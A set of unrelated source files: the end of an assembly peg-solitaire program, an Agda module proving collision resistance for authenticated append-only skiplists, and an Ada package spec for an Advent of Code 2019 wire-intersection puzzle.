$stalemsg lc r3, 1 lc r4, $win beq r4, r3, r10 # if num pegs == 1, then give a win msg sys r2, 4 jmp $exit win: lc r2, $winmsg sys r2, 4 exit: lc r2, $bye sys r2, 4 sys r0, 0 _data_: # to leave enough space for the board .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 .byte 0,0,0,0,0,0,0,0 fr: .byte 'f','r','o','m',' ','r','o','w' .byte ':',' ',0 fc: .byte 'f','r','o','m',' ','c','o','l' .byte ':',' ',0 tr: .byte 't','o',' ','r','o','w',':',' ' .byte 0 tc: .byte 't','o',' ','c','o','l',':',' ' .byte 0 bye: .byte 'b','y','e','\n',0 illegal: .byte 'i','l','l','e','g','a','l','!' .byte '\n', 0 space: .byte ' ' hole: .byte 'o' peg: .byte '*' max_len: .byte 7 # array length bound1: .byte 1 # bound1 for out of bounds checking bound2: .byte 4 # bound2 - 1, bec we have to use bgt stalemsg: .byte 's','t','a','l','e','m','a','t' .byte 'e', '!', '\n', 0 winmsg: .byte 'w','i','n','!','\n',0 cm_ra: .byte ' ' # to hold return address for check_moves
AAOSL/Abstract/EvoCR.agda
cwjnkins/aaosl-agda
0
5684
{- Formal verification of authenticated append-only skiplists in Agda, version 1.0. Copyright (c) 2021 <NAME> and Oracle and/or its affiliates. Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl -} open import Data.Unit.NonEta open import Data.Empty open import Data.Sum open import Data.Product open import Data.Product.Properties open import Data.Fin hiding (_<_; _≤_) open import Data.Fin.Properties using () renaming (_≟_ to _≟Fin_) open import Data.Nat renaming (_≟_ to _≟ℕ_; _≤?_ to _≤?ℕ_) open import Data.Nat.Properties open import Data.List renaming (map to List-map) open import Data.List.Properties using (∷-injective; length-map) open import Data.List.Relation.Unary.Any renaming (map to Any-map) open import Data.List.Relation.Unary.All renaming (lookup to All-lookup; map to All-map) open import Data.List.Relation.Unary.All.Properties hiding (All-map) open import Data.List.Relation.Unary.Any.Properties renaming (map⁺ to Any-map⁺) open import Data.List.Relation.Binary.Pointwise using (decidable-≡) open import Data.Bool hiding (_<_; _≤_) open import Data.Maybe renaming (map to Maybe-map) open import Function open import Relation.Binary.PropositionalEquality open import Relation.Binary.Definitions open import Relation.Nullary open import AAOSL.Lemmas open import AAOSL.Abstract.Hash open import AAOSL.Abstract.DepRel module AAOSL.Abstract.EvoCR -- A Hash function maps a bytestring into a hash. (hash : ByteString → Hash) -- And is collision resistant (hash-cr : ∀{x y} → hash x ≡ hash y → Collision hash x y ⊎ x ≡ y) -- Indexes can be encoded in an injective way (encodeI : ℕ → ByteString) (encodeI-inj : (m n : ℕ) → encodeI m ≡ encodeI n → m ≡ n) (dep : DepRel) where open WithCryptoHash hash hash-cr open import AAOSL.Abstract.Advancement hash hash-cr encodeI encodeI-inj dep open DepRel dep -- Returns the last element on path a that is smaller than k last-bef : ∀{j i k}(a : AdvPath j i)(i<k : i < k)(k≤j : k ≤′ j) → ℕ last-bef {j} a i<k ≤′-refl = j -- TODO-1 : The same or similar proof is repeated numerous times below; refactor for clarity last-bef AdvDone i<k (≤′-step k≤j) = ⊥-elim (1+n≰n (≤-unstep (≤-trans i<k (≤′⇒≤ k≤j)))) last-bef {k = k} (AdvThere d h a) i<k (≤′-step k≤j) with hop-tgt h ≤?ℕ k ...| yes th≤k = hop-tgt h ...| no th>k = last-bef a i<k (≤⇒≤′ (≰⇒≥ th>k)) last-bef-correct : ∀{j i k}(a : AdvPath j i)(i<k : i < k)(k≤j : k ≤′ j) → last-bef a i<k k≤j ∈AP a last-bef-correct {j} a i<k ≤′-refl = ∈AP-src last-bef-correct AdvDone i<k (≤′-step k≤j) = ⊥-elim (1+n≰n (≤-unstep (≤-trans i<k (≤′⇒≤ k≤j)))) last-bef-correct {k = k} (AdvThere d h a) i<k (≤′-step k≤j) with hop-tgt h ≤?ℕ k ...| yes th≤k = step (<⇒≢ (hop-< h)) ∈AP-src ...| no th>k with last-bef-correct a i<k (≤⇒≤′ (≰⇒≥ th>k)) ...| ind = step (<⇒≢ (≤-trans (s≤s (∈AP-≤ ind)) (hop-< h))) ind lemma5-hop : ∀{j i}(a : AdvPath j i) → ∀{k} → j < k → (h : HopFrom k) → hop-tgt h ≤ j → i ≤ hop-tgt h → hop-tgt h ∈AP a lemma5-hop {j} a j<k h th≤j i≤th with hop-tgt h ≟ℕ j ...| yes th≡j rewrite th≡j = ∈AP-src ...| no th≢j with a ...| AdvDone rewrite ≤-antisym th≤j i≤th = hereTgtDone ...| (AdvThere x h' a') with hop-tgt h' ≟ℕ hop-tgt h ...| yes th'≡th rewrite sym th'≡th = step (<⇒≢ (hop-< h')) ∈AP-src ...| no th'≢th with hop-tgt h' ≤?ℕ hop-tgt h ...| yes th'≤th = ⊥-elim (1+n≰n (≤-trans j<k (hops-nested-or-nonoverlapping (≤∧≢⇒< th'≤th th'≢th) (≤∧≢⇒< th≤j th≢j)))) ...| no th'>th = step th≢j (lemma5-hop a' (≤-trans (hop-< h') (≤-unstep j<k)) h (≰⇒≥ th'>th) i≤th) lemma5 : ∀{j i k}(a : AdvPath j i)(i<k : i < k)(k≤j : k ≤′ j) → ∀{i₀}(b : AdvPath k i₀) → i₀ ≤ i → last-bef a i<k k≤j ∈AP b lemma5 a i<k ≤′-refl b i₀≤i = ∈AP-src lemma5 AdvDone i<k (≤′-step k≤j) b i₀≤i = ⊥-elim (1+n≰n (≤-unstep (≤-trans i<k (≤′⇒≤ k≤j)))) lemma5 {k = k} (AdvThere d h a) i<k (≤′-step k≤j) b i₀≤i with hop-tgt h ≤?ℕ k ...| yes th≤k = lemma5-hop b (s≤s (≤′⇒≤ k≤j)) h th≤k (≤-trans i₀≤i (lemma1 a)) ...| no th>k = lemma5 a i<k (≤⇒≤′ (≰⇒≥ th>k)) b i₀≤i -- returns the first element on path a that is greather than k first-aft : ∀{j i k}(a : AdvPath j i)(i≤k : i ≤′ k)(k<j : k < j) → ℕ first-aft {i = i} a ≤′-refl k<j = i first-aft AdvDone (≤′-step i≤k) k<j = ⊥-elim (1+n≰n (≤-unstep (≤-trans k<j (≤′⇒≤ i≤k)))) first-aft {j} {i} {k} (AdvThere d h a) (≤′-step i≤k) k<j with hop-tgt h ≟ℕ k ...| yes _ = k ...| no th≢k with hop-tgt h ≤?ℕ k ...| yes th≤k = j ...| no th≥k = first-aft a (≤′-step i≤k) (≰⇒> th≥k) first-aft-correct : ∀{j i k}(a : AdvPath j i)(i≤k : i ≤′ k)(k<j : k < j) → first-aft a i≤k k<j ∈AP a first-aft-correct a ≤′-refl k<j = ∈AP-tgt first-aft-correct AdvDone (≤′-step i≤k) k<j = ⊥-elim (1+n≰n (≤-unstep (≤-trans k<j (≤′⇒≤ i≤k)))) first-aft-correct {j} {i} {k} (AdvThere d h a) (≤′-step i≤k) k<j with hop-tgt h ≟ℕ k ...| yes th≡k rewrite sym th≡k = step (<⇒≢ k<j) ∈AP-src ...| no th≢k with hop-tgt h ≤?ℕ k ...| yes th≤k = ∈AP-src ...| no th≥k with first-aft-correct a (≤′-step i≤k) (≰⇒> th≥k) ...| ind = step (<⇒≢ (≤-trans (s≤s (∈AP-≤ ind)) (hop-< h))) ind lemma5'-hop : ∀{j j₁ k}(h : HopFrom j) → hop-tgt h < k → k < j → (b : AdvPath j₁ k) → j ≤ j₁ → j ∈AP b lemma5'-hop {j} {j₁} h th<k k≤j b j≤j₁ with j ≟ℕ j₁ ...| yes refl = ∈AP-src ...| no j≢j₁ with b ...| AdvDone = ⊥-elim (1+n≰n (≤-trans k≤j j≤j₁)) ...| (AdvThere x hb b') with hop-tgt hb ≟ℕ j ...| yes refl = step (<⇒≢ (hop-< hb)) ∈AP-src ...| no tb≢j with hop-tgt hb ≤?ℕ j ...| no tb≰j = step j≢j₁ (lemma5'-hop h th<k k≤j b' (≰⇒≥ tb≰j)) ...| yes tb≤j with hops-nested-or-nonoverlapping (≤-trans th<k (lemma1 b')) (≤∧≢⇒< tb≤j tb≢j) ...| j₁≤j rewrite ≤-antisym j≤j₁ j₁≤j = ∈AP-src lemma5' : ∀{j i k}(a : AdvPath j i)(i≤k : i ≤′ k)(k<j : k < j) → ∀{j₁}(b : AdvPath j₁ k) → j ≤ j₁ → first-aft a i≤k k<j ∈AP b lemma5' a ≤′-refl k<j b j≤j₁ = ∈AP-tgt lemma5' AdvDone (≤′-step i≤k) k<j b j≤j₁ = ⊥-elim (1+n≰n (≤-unstep (≤-trans k<j (≤′⇒≤ i≤k)))) lemma5' {j} {i} {k} (AdvThere d h a) (≤′-step i≤k) k<j b j≤j₁ with hop-tgt h ≟ℕ k ...| yes _ = ∈AP-tgt ...| no th≢k with hop-tgt h ≤?ℕ k ...| yes th≤k = lemma5'-hop h (≤∧≢⇒< th≤k th≢k) k<j b j≤j₁ ...| no th≥k = lemma5' a (≤′-step i≤k) (≰⇒> th≥k) b (≤-unstep (≤-trans (hop-< h) j≤j₁)) ∈AP-⊕-intro-l : ∀{j k i m} → {a₂ : AdvPath j k}{a₁ : AdvPath k i} → m ∈AP a₂ → m ∈AP (a₂ ⊕ a₁) ∈AP-⊕-intro-l hereTgtThere = hereTgtThere ∈AP-⊕-intro-l (step prog m∈a) = step prog (∈AP-⊕-intro-l m∈a) ∈AP-⊕-intro-l {a₁ = AdvDone} hereTgtDone = hereTgtDone ∈AP-⊕-intro-l {a₁ = AdvThere d h a} hereTgtDone = hereTgtThere ∈AP-⊕-intro-r : ∀{j k i m} → {a₂ : AdvPath j k}{a₁ : AdvPath k i} → m ∈AP a₁ → m ∈AP (a₂ ⊕ a₁) ∈AP-⊕-intro-r {a₂ = AdvDone} hyp = hyp ∈AP-⊕-intro-r {k = k} {a₂ = AdvThere d h a} hyp = step (<⇒≢ (≤-trans (s≤s (∈AP-≤ hyp)) (≤-trans (s≤s (lemma1 a)) (hop-< h)))) (∈AP-⊕-intro-r {a₂ = a} hyp) ∈AP-⊕-≤-r : ∀{j k i m}{a₂ : AdvPath j k}{a₁ : AdvPath k i} → m ∈AP (a₂ ⊕ a₁) → m ≤ k → m ∈AP a₁ ∈AP-⊕-≤-r {a₂ = AdvDone} m∈a12 m≤k = m∈a12 ∈AP-⊕-≤-r {a₂ = AdvThere d h a₂} hereTgtThere m≤k = ⊥-elim (1+n≰n (≤-trans (≤-trans (s≤s (lemma1 a₂)) (hop-< h)) m≤k)) ∈AP-⊕-≤-r {a₂ = AdvThere d h a₂} (step x m∈a12) m≤k = ∈AP-⊕-≤-r m∈a12 m≤k findM : ∀ {j i₂ s₁ s₂ tgt} → (a₁₁ : AdvPath j s₁) → (a₂₁ : AdvPath j s₂) → (a₂₂ : AdvPath s₂ i₂) → (m₂ : MembershipProof s₂ tgt) → i₂ ≤ s₁ → tgt ≤ s₁ → s₁ ≤ s₂ → ∃[ M ] (M ∈AP a₂₂ × M ∈AP mbr-proof m₂ × M ∈AP a₁₁) findM {s₁ = s₁} {s₂} a₁₁ a₂₁ a₂₂ m₂ i₂≤s₁ t≤s₁ s₁≤s₂ with <-cmp s₁ s₂ ...| tri> _ _ s₂<s₁ = ⊥-elim (<⇒≢ s₂<s₁ (sym (≤-antisym s₁≤s₂ (≤-unstep s₂<s₁)))) ...| tri≈ _ refl _ = s₁ , ∈AP-src , ∈AP-src , ∈AP-tgt ...| tri< s₁<s₂ _ _ = last-bef a₁₁ s₁<s₂ (≤⇒≤′ (lemma1 a₂₁)) , lemma5 a₁₁ s₁<s₂ (≤⇒≤′ (lemma1 a₂₁)) a₂₂ i₂≤s₁ , lemma5 a₁₁ s₁<s₂ (≤⇒≤′ (lemma1 a₂₁)) (mbr-proof m₂) t≤s₁ , last-bef-correct a₁₁ s₁<s₂ (≤⇒≤′ (lemma1 a₂₁)) findR : ∀{j i₁ s₁ s₂ tgt} → (a₁₁ : AdvPath j s₁) → (a₁₂ : AdvPath s₁ i₁) → (a₂₁ : AdvPath j s₂) → (m₁ : MembershipProof s₁ tgt)(m₂ : MembershipProof s₂ tgt) → i₁ ≤ tgt → tgt ≤ s₁ → s₁ ≤ s₂ -- wlog → ∃[ R ] (R ∈AP mbr-proof m₁ × R ∈AP mbr-proof m₂ × R ∈AP a₁₂) findR {s₁ = s₁} {tgt = tgt} a₁₁ a₁₂ a₂₁ m₁ m₂ i₁≤t t≤s₁ s₁≤s₂ with <-cmp tgt s₁ ...| tri> _ _ s₁<t = ⊥-elim (<⇒≢ s₁<t (sym (≤-antisym t≤s₁ (≤-unstep s₁<t)))) ...| tri≈ _ refl _ = s₁ , ∈AP-src , ∈AP-tgt , ∈AP-src ...| tri< t<s₁ _ _ = first-aft a₁₂ (≤⇒≤′ i₁≤t) t<s₁ , lemma5' a₁₂ (≤⇒≤′ i₁≤t) t<s₁ (mbr-proof m₁) ≤-refl , lemma5' a₁₂ (≤⇒≤′ i₁≤t) t<s₁ (mbr-proof m₂) s₁≤s₂ , first-aft-correct a₁₂ (≤⇒≤′ i₁≤t) t<s₁ -- check Figure 4 (page 12) in: https://arxiv.org/pdf/cs/0302010.pdf -- -- a₁ is dashed black line -- a₂ is dashed gray line -- m₁ is thick black line -- m₂ is thick gray line -- s₁ is j -- s₂ is k -- j is n -- tgt is i evo-cr : ∀{j i₁ i₂}{t₁ t₂ : View} → (a₁ : AdvPath j i₁) → (a₂ : AdvPath j i₂) → rebuild a₁ t₁ j ≡ rebuild a₂ t₂ j → ∀{s₁ s₂ tgt}{u₁ u₂ : View} → (m₁ : MembershipProof s₁ tgt)(m₂ : MembershipProof s₂ tgt) → s₁ ∈AP a₁ → s₂ ∈AP a₂ → s₁ ≤ s₂ -- wlog → i₁ ≤ tgt → i₂ ≤ tgt → rebuildMP m₁ u₁ s₁ ≡ rebuild a₁ t₁ s₁ → rebuildMP m₂ u₂ s₂ ≡ rebuild a₂ t₂ s₂ → HashBroke ⊎ (mbr-datum m₁ ≡ mbr-datum m₂) evo-cr {t₁ = t₁} {t₂} a₁ a₂ hyp {s₁} {s₂} {tgt} {u₁} {u₂} m₁ m₂ s₁∈a₁ s₂∈a₂ s₁≤s₂ i₁≤t i₂≤t c₁ c₂ with ∈AP-cut a₁ s₁∈a₁ | ∈AP-cut a₂ s₂∈a₂ ...| ((a₁₁ , a₁₂) , refl) | ((a₂₁ , a₂₂) , refl) with lemma1 (mbr-proof m₁) ...| t≤s₁ -- The first part of the proof is find some points common to three -- of the provided proofs. This is given in Figure 4 of Maniatis and Baker, -- and they are called M and R too, to help make it at least a little clear. -- First we find a point that belongs in a₂, m₁ and a₁. with findM a₁₁ a₂₁ a₂₂ m₂ (≤-trans i₂≤t t≤s₁) t≤s₁ s₁≤s₂ ...| M , M∈a₂₂ , M∈m₂ , M∈a₁₁ -- Next, we find a point that belongs in m₁, m₂ and a₁. with findR a₁₁ a₁₂ a₂₁ m₁ m₂ i₁≤t t≤s₁ s₁≤s₂ ...| R , R∈m₁ , R∈m₂ , R∈a₁₂ -- Now, since a₁ and a₂ rebuild to the same hash and M belongs -- to both these proofs, the hash for M is the same. with AgreeOnCommon a₁ a₂ hyp (∈AP-⊕-intro-l M∈a₁₁) (∈AP-⊕-intro-r M∈a₂₂) ...| inj₁ hb = inj₁ hb ...| inj₂ M-a1a2 -- Similarly, for a₂₂ and m₂ with AgreeOnCommon a₂₂ (mbr-proof m₂) (trans (sym (rebuild-⊕ a₂₁ a₂₂ ∈AP-src)) (sym c₂)) M∈a₂₂ M∈m₂ ...| inj₁ hb = inj₁ hb ...| inj₂ M-a22m2 -- Which brings us to: rebuild a1 M == rebuild m2 M with trans (trans M-a1a2 (rebuild-⊕ a₂₁ a₂₂ M∈a₂₂)) M-a22m2 ...| M-a1m2 -- If a1 and m2 agree on one point, they agree on all points. In particular, they -- agree on R! with ∈AP-cut (mbr-proof m₂) M∈m₂ ...| ((m₂₁ , m₂₂) , refl) with trans M-a1m2 (rebuild-⊕ m₂₁ m₂₂ ∈AP-src) ...| M-a1m22 with AgreeOnCommon-∈ a₁ m₂₂ (∈AP-⊕-intro-l M∈a₁₁) M-a1m22 (∈AP-⊕-intro-r R∈a₁₂) (∈AP-⊕-≤-r R∈m₂ (≤-trans (∈AP-≤ R∈a₁₂) (∈AP-≥ M∈a₁₁))) ...| inj₁ hb = inj₁ hb ...| inj₂ R-a1m22 with AgreeOnCommon a₁₂ (mbr-proof m₁) (trans (sym (rebuild-⊕ a₁₁ a₁₂ ∈AP-src)) (sym c₁)) R∈a₁₂ R∈m₁ ...| inj₁ hb = inj₁ hb ...| inj₂ R-a12m1 -- Which finally lets us argue that m1 and m2 also agree on R. Similarly, if they agree -- on one point they agree on all points. with ∈AP-cut (mbr-proof m₁) R∈m₁ ...| ((m₁₁ , m₁₂) , refl) with trans (trans (trans (sym R-a1m22) (rebuild-⊕ a₁₁ a₁₂ R∈a₁₂)) R-a12m1) (rebuild-⊕ m₁₁ m₁₂ ∈AP-src) ...| R-m22m12 with AgreeOnCommon-∈ m₂₂ m₁₂ (∈AP-⊕-≤-r R∈m₂ (≤-trans (∈AP-≤ R∈a₁₂) (∈AP-≥ M∈a₁₁))) R-m22m12 ∈AP-tgt ∈AP-tgt ...| inj₁ hb = inj₁ hb ...| inj₂ tgt-m22m12 with trans (rebuild-⊕ m₂₁ m₂₂ ∈AP-tgt) (trans tgt-m22m12 (sym (rebuild-⊕ m₁₁ m₁₂ ∈AP-tgt))) ...| tgt-m1m2 with rebuild-tgt-lemma (mbr-proof m₁) {u₁ ∪₁ (tgt , auth tgt (mbr-datum m₁) u₁) } | rebuild-tgt-lemma (mbr-proof m₂) {u₂ ∪₁ (tgt , auth tgt (mbr-datum m₂) u₂) } ...| l1 | l2 with trans (sym l1) (trans (sym tgt-m1m2) l2) ...| auths≡ rewrite ≟ℕ-refl tgt = auth-inj-1 {tgt} {mbr-datum m₁} {mbr-datum m₂} (mbr-not-init m₁) auths≡
day03/src/fms.ads
jwarwick/aoc_2019_ada
0
3544
-- Fuel Management System with Ada.Containers.Vectors; with Ada.Containers.Hashed_Sets; package FMS is procedure load(w1 : in String; w2 : in String); procedure load_file(path : String); function closest_intersection return Positive; function shortest_intersection return Positive; private type Direction is (Up, Down, Left, Right); type Wire_Segment is record dir : Direction; distance : Positive; end record; package Wire is new Ada.Containers.Vectors(Index_Type => Natural, Element_Type => Wire_Segment); wire_1 : Wire.Vector; wire_2 : Wire.Vector; type Position is record x : Integer := 0; y : Integer := 0; dist : Natural := 0; end record; function hash(p : in Position) return Ada.Containers.Hash_Type; function equivalent_positions(left, right: Position) return Boolean; package Wire_Points is new Ada.Containers.Hashed_Sets(Element_Type => Position, Hash => hash, Equivalent_Elements => equivalent_positions); wire_points_1 : Wire_Points.Set; wire_points_2 : Wire_Points.Set; end FMS;